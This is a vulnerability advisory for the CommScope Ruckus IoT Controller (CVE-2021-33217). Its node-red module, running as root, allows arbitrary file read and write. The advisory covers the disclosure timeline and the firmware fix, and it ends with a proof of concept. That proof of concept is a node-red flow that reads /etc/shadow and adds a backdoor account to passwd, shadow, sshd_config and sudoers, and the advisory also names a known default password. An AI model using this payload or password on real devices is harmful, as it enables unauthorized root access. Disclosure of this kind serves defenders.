The IoT Controller web application includes a NodeJS module, node-red, which has the capability for users to read or write to local files on the IoT Controller. With the elevated privileges the web application runs as, this allowed for reading and writing to any file on the IoT Controller filesystem.
01f76e2f3cd29c5598a0f1af3ea32c57KL-001-2021-006: CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write
Title: CommScope Ruckus IoT Controller Web Application Arbitrary Read/Write
Advisory ID: KL-001-2021-006
Publication Date: 2021.05.26
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2021-006.txt
1. Vulnerability Details
Affected Vendor: CommScope
Affected Product: Ruckus IoT Controller
Affected Version: 1.7.1.0 and earlier
Platform: Linux
CWE Classification: CWE-250: Execution with Unnecessary Privileges
CVE ID: CVE-2021-33217
2. Vulnerability Description
The IoT Controller web application includes a NodeJS module,
node-red, which has the capability for users to read or write to
local files on the IoT Controller. With the elevated privileges
the web application runs as, this allowed for reading and
writing to any file on the IoT Controller filesystem.
3. Technical Description
The Ruckus IoT Controller contains the node-red NodeJS
Module. The node-red module has the built in functionality
to read and write to files on the local filesystem of the
IoT Controller.
An authentication token is required. But a token is easily
obtained due to hard-coded, default, unchangeable web application
credentials (CVE-2021-33219).
With the web application (and the node-red NodeJS module)
running as root, this functionality can be leveraged to
read or write to any file on the filesystem of the Ruckus
IoT Controller.
This condition was leveraged to add an account to the
/etc/passwd file, then used to add a password hash to
/etc/shadow. Additionally, the SSH daemon configuration was
modified to ensure that the newly added account would be able
to SSH in to the device. And to complete the escalation to
root-level privileges, the newly added account was added to
the /etc/sudoers configuration file.
None of these steps would have been possible if the web
application (and the node-red module as a result) had not been
running as the 'root' user.
4. Mitigation and Remediation Recommendation
The vendor has released an updated firmware (1.8.0.0) which
remediates the described vulnerability. Firmware and release
notes are available at:
https://www.commscope.com/globalassets/digizuite/917216-faq-security-advisory-id-20210525-v1-0.pdf
5. Credit
This vulnerability was discovered by Jim Becher (@jimbecher)
of KoreLogic, Inc.
6. Disclosure Timeline
2021.03.30 - KoreLogic submits vulnerability details to
CommScope.
2021.03.30 - CommScope acknowledges receipt and the intention
to investigate.
2021.04.06 - CommScope notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline.
2021.04.06 - KoreLogic agrees to extend disclosure embargo if
necessary.
2021.04.30 - CommScope informs KoreLogic that remediation for
this vulnerability will be available inside of the
standard 45 business day timeline. Requests
KoreLogic acquire CVE number for this
vulnerability.
2021.05.14 - 30 business days have elapsed since the
vulnerability was reported to CommScope.
2021.05.17 - CommScope notifies KoreLogic that the patched
version of the firmware will be available the week
of 2021.05.24.
2021.05.19 - KoreLogic requests CVE from MITRE.
2021.05.19 - MITRE issues CVE-2021-33217.
2021.05.25 - CommScope releases firmware 1.8.0.0 and associated
advisory.
2021.05.26 - KoreLogic public disclosure.
7. Proof of Concept
An excerpt of one of the POSTs, which is 16000+ bytes in length, is
below:
POST /node-red/flows HTTP/1.1
....
....
{"id":"b64c27d9.bde92","type":"debug","z":"9e8d5b92.105d48","name":"","active":true,"tosidebar":true,"console":false,"tostatus":false,"complete":"payload","targetType":"msg","x":410,"y":420,"wires":[]},{"id":"6a762f41.9154e","type":"file
in","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","format":"lines","chunk":false,"sendError":false,"encoding":"none","x":240,"y":340,"wires":[["b64c27d9.bde92"]]},{"id":"9f4d3e63.679728","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/shadow","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":300,"y":540,"wires":[[]]},{"id":"226919a8.efb196","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"","payload":"jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":500,"wires":[["9f4d3e63.679728"]]},{"id":"7b6a1a67.f44ef4","type":"inject","z":"9e8d5b92.105d48","name":"","topic":"jbecher2:x:18626:18626:Jim
Becher,,,:/tmp:/bin/bash","payload":"","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":110,"y":600,"wires":[["72dfbb2b.4e930c"]]},{"id":"72dfbb2b.4e930c","type":"file","z":"9e8d5b92.105d48","name":"","filename":"/etc/passwd","appendNewline":true,"createDir":false,"overwriteFile":"false","encoding":"ascii","x":320,"y":640,"wires":[[]]}],"rev":"0564d9f18d8097f549648378fe8c4476"}
and then there is a subsequent POST to inject/trigger the flow.
root@vriot:~# tail -1 /etc/passwd
jbecher2:x:18626:18626:Jim Becher,,,:/tmp:/bin/bash
root@vriot:~# tail -1 /etc/shadow
jbecher2:$6$c4jEcmjj$uDjuSxfkzd0QHt/MAGnPJ798izuVhq11MSmkS3iXtDg.iqSumzou4.HauYOrSIYl5JdQlrbZAL7PAkPfrxcxH0:18626:0:99999:7:::
Note: the above hash is the same as the hash of the vriotha user,
whose password is known to be 'nplus1user' (CVE-2021-33218).
root@vriot:~# tail -2 /etc/ssh/sshd_config
Match User jbecher2
PasswordAuthentication yes
root@vriot:~# tail -1 /etc/sudoers
jbecher2 ALL=(ALL:ALL) NOPASSWD: ALL
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